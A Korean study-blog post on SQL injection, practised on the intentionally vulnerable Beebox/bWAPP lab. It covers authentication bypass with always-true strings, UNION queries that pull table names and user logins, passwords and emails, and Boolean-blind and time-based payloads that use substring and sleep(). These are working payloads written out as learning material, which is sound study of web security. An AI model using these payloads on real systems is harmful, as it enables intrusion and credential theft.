본문 바로가기
Security Project

39. SQL Injection 이해

by 귀멸 2023. 1. 9.

1. SQL Injection

  • SQL Query를 처리하는 과정에서 예상치 못한 입력 값에 의해 [입력 값 검증 미흡]
    DBMS 정보 노출, 특정 명령어 실행 등이 발생하는 취약점
  • 공격자는 정상적인 값 대신 자신이 원하는 값을 웹에 요청하고, 
    이를 웹은 데이터베이스에 요청을 한 뒤
    결과 값이 웹을 통해 노출되거나 유추할 수 있는 형태로 출력됨

 

2. SQL Injection을 이용한 인증 우회

쿼리 질의문의 구조를 파악하여 SQL 문을 삽입한다

Select * from members where id=admin and pass=1234

질의문을 항상 참으로 만들어 인증을 우회

Select * from members where id=admin'or 1=1# and pass='or 1=1#

mysql # (주석처리) 

mssql, oracle -- (주석처리)

 

여러 가지 문법을 예측하여 시도한다

'or'x'='x
')or('x'='x
"or"x"="x
")or("x"="x

 

3. Error Based SQLi을 이용한 데이터베이스 정보 획득

웹을 통해서 데이터베이스의 원하는 값을 하나씩 가져와 중요정보 획득

0'UNION SELECT ALL 1,concat(id,login,password),3,4,concat(email,secret),6,7 from users#

 

Beebox에서 실습

', "로 search를 시도하면 '에서 sql error가 나옴으로써 해당 입력부가 sql 인젝션이 가능함을 알 수 있고,

문법적으로 '을 사용함을 알 수 있다.

항상 조건을 참으로 만들어보면 database에 저장되어 있는 모든 목록이 나오게 되고,

이를 직접 database에서 확인해 볼 수 있다.

 

union을 이용해서 column의 개수를 추측하고 각 컬럼에서 어떤 것이 웹에  나오는 확인

2,3,4,5 자리에 information_schema.tables 의 table_name을 가져올 수 있다.

0' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables#

얻어낸 schema column들의 정보를 토대로 원하는 table의 column값을 조회하면

0' UNION SELECT ALL 1,login,password,4,email,6,7 from users#

암호화된 비밀번호를 얻을 수 있고, kali의 hash-identifier를 이용해 어떤 방식의 암호화인지 알아낼 수 있다.

 

4. Blind SQLi을 이용한 데이터베이스 정보 추측 및 획득

웹에서 데이터베이스의 에러 정보가 노출되지 않기 때문에 참과 거짓으로 정보 추측

Error based injection이 불가능할 때 사용

'or 1=1 and length(database())=5#
'or 1=1 and substring(database(),1,1)='b'#
'or 1=1 and ascii(substring(database(),1,1))=98#

Beebox SQL injection - Blind - Boolean-Based에서 실습

참값과 거짓값에 대하여 다르게 페이지 출력

 

 

이미 bWAPP로 알고 있는 데이터베이스의 정보를 기준으로 다음과 같이

database의 길이값과 문자를 하나씩 추출해 나간다.

자동화 도구 및 파이썬 코딩으로 반자동화하여 추출.

 

5. Time Based SQLi을 이용한 데이터베이스 정보 추측 및 획득

sleep() / waitfor() 함수를 이용하여 데이터베이스 스레드 동작 정지 여부를 보고 판단

Blind SQLi 조차 알 수 없을 때 사용한다.

'or 1=1 and sleep(5)#
'or 1=1 and length(database())=5 and sleep(5)#
'or 1=1 and substring(database(),1,1)='b' and sleep(5)#

Beebox SQL injection - Blind - Time-Based에서 실습

참값과 거짓값에 대하여 참값에서만 지연시간이 생김

 

 

 

댓글